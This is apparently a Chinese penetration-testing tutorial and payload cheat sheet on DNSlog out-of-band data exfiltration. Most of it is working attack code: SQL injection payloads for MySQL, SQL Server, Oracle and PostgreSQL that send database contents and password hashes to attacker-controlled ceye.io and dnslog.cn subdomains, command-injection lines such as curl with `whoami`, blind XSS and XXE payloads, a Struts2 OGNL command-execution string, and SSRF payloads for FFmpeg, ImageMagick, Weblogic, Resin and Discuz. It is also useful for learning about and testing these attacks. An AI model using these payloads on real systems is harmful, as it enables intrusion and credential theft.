預備知識
dns(域名解析):
域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務。IP地址是網絡上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS服務器完成。
域名解析也叫域名指向、服務器設置、域名配置以及反向IP登記等等。說得簡單點就是將好記的域名解析成IP,服務由DNS服務器完成,是把域名解析到一個IP地址,然后在此IP地址的主機上將一個子目錄與域名綁定。
互聯網中的地址是數字的IP地址,域名解析的作用主要就是為了便於記憶。(摘自百度百科)
dns服務器的端口是53。
DNS原理
我們輸入域名之后 我們的本地域名服務器會把在自身服務器里面查詢是否存在ip地址 如果沒有則發送到根域名服務器 如果根域名服務器里面有對應的記錄則返回 如果沒有則告訴本地域名服務器去向頂級域名服務器查找。
dns在解析的時候會留下記錄。
簡單來說:

當dns服務器是我們自己的時,我們就可以通過查看日志來查詢一些信息。
UNC
介紹一下UNC
什么是UNC路徑?
UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用於在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
UNC路徑就是類似\softer這樣的形式的網絡路徑。它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename。
例如把自己電腦的文件共享,你會獲得如下路徑,這就是UNC路徑
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
用處
- sql注入
- 命令執行
- XSS盲打
- SSRF盲打
- XXE盲打
- 其他
SQL注入
sqlmap可以使用--dns-domain參數實現自動化dns注入
條件:
secure_file_priv為空,null或者指定路徑都不行。在5.7.6之后默認為null,經測試phpstudy (5.5.53)和 mamp(5.6.35)默認值都是為null,可能是現在集成環境也意識到這些安全問題,做出了更改
數據庫要是windows系統。因為語句就是\\servername\sharename,使用的是windows的UNC,去請求共享的文件夾/文件服務器。構造的語句最后會是\\查詢結果.xxx.ceye.io\\abc,即網絡共享路徑。
文件必須是所有人都可讀的,並且它的大小小於max_allowed_packet字節。
原理:
使用函數load_file(),讀取數據通過dnslog外帶出去,但是文件大小要小於max_allowed_packet()(限制server接收的數據包大小,默認為1MB),如果該文件不存在或無法讀取,因為前面的條件之一不滿足,函數返回 NULL。
利用的是windows的UNC,訪問網絡共享文件的特性。

適用於:
可用於聯合(union select...),布爾/時間( and (select...) if((select .... ),1,1) ) 的無回顯盲注,命令盲注(%os%.xxx.ceye.io `whoami`.xxx.ceye.io)
實測心得:
路徑為\\\\查詢結果.xxx.ceye.io\\abc
另外關於路徑,可能第一次解析到了,第二次在執行相同語句就會不訪問,所以可以更換路徑的方式,讓其再次訪問,來外帶數據。可能是本地測試的原因,直接在控制台執行的,每句都在一個會話中。ceye不會出現這個問題,dnslog會,可能測試時我掛代理原因。
測試的時候dnslog感覺不如ceye好用不知道是不是掛着代理的問題。
使用dnslog測試時,相同語句第二次執行就不請求dnslog了,不知道是不是因為在控制台用一個會話執行的原因,ceye到沒有這個問題。
注意點:
dns服務器無法接收符號,當查詢的數據存在符號時需要編碼,這里用==hex()==編碼(ord()只能編碼一個字符)
limit 1,1 m,n 這種會用到,或者general_concat放到一行。
\\\\ widnows中用共享文件的時候就會用到這種網絡地址的形式,而且轉義問題所以前面4個\變成了2個,后面2個變成了1個,最終結果見上一行。
判斷是否可用
show variables like '%secure%' # 查看是否是null 在5.7.6之后默認為null,經測試phpstudy (5.5.53)和 mamp(5.6.35)默認值都是為null,可能是現在集成環境也意識到這些安全問題,做出了更改
修改:在my.ini 中修改或添加secure_file_priv=空
select host,user,file_priv from mysql.user # 查看當前用戶是否有file_priv權限,即load_file()函數是否可用。
SHOW VARIABLES LIKE 'max_allowed_packet'; # 檢查max_allowed_packet 看最大能讀取最大的文件大小


SQL盲注語句
select load_file('C:\\windows\win.ini')
select load_file(concat('\\\\',(select database()),'.dsgeh.dnslog.cn\\1.txt'))
1' and if((select load_file(concat('\\\\',(select version()),'.6dz4ut.ceye.io\\abc'))),1,1)
#查詢數據庫名
聯合 union select load_file(concat('\\\\',(select database()),'.5djib5.dnslog.cn/1.txt'))
布爾:id=1 and (select load_file(concat('\\\\',(select database()),'.6dz4ut.ceye.io\\1.txt')))
#查詢表名
聯合:select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt'))
布爾:id=1 and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt')))
#查詢列名
聯合:select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));
布爾:id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1/2,1/2),'.6dz4ut.ceye.io\\1.txt'))) 注:1/2 替換查詢 返回結果不一樣
#查詢數據
注意:dns服務器無法接收符號,當查詢的數據存在符號時需要編碼,這里用hex()編碼(ord()只能編碼一個字符)
聯合:select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
布爾:id=1 and (select load_file(concat('\\\\',(select hex(password) from admin limit 0,1),'.6dz4ut.ceye.io\\1.txt')))


其他SQL注入
- 1.SQL Server
CopyDECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
- 2.Oracle
CopySELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
- 3.MySQL
CopySELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
- 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
命令執行盲打
windows 用%variable%
linux 用`variable` 反引號
使用dvwa靶場的命令注入模塊實驗,假設該注入點無回顯

查詢到了我們輸入的變量:

windows常用變量:
//變量 類型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。
//%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
//%CD% 本地 返回當前目錄字符串。
//%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。
//%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。
//%COMPUTERNAME% 系統 返回計算機的名稱。
//%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。
//%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
//%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
//%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
//%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
//%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
//%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
//%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
//%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
//%PATH% 系統 指定可執行文件的搜索路徑。
//%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。
//%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
//%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
//%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
//%PROCESSOR_REVISION% 系統 返回處理器的版本號。
//%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
//%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
//%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。
//%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
//%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。
//%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
//%USERNAME% 本地 返回當前登錄的用戶的名稱。
//%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
//%WINDIR% 系統 返回操作系統目錄的位置。
linux常用變量
ping `whoami`.xxxx.ceye.io 等等
curl http://0ox095.ceye.io/`whoami`
xss盲打
注:這種方式可以繞過csp
通過盲打,當出發這瀏覽器訪問預設置的鏈接地址,如果盲打成功,會在我們DNS服務器收到解析請求。
src href iframe onerror
<img src=http://xss.xxxx.ceye.io/aaa>
使用pikachu的xss盲打模塊


收到請求說明觸發了插入的js代碼。
SSRF(無回顯)盲打
將url換成我們的DNS服務器,通過查看DNFlog平台日志看是否有服務器ip判斷是否有SSRF漏洞
XXE(無回顯)盲打
使用參數實體,引用外部實體文件(目的地址是我們DNS服務器),二級或三級域名寫成 我們想要的信息。
#以下是測試是否存在xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.fdz5j5.ceye.io/">
%remote;]>
<root></root>
其他
Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
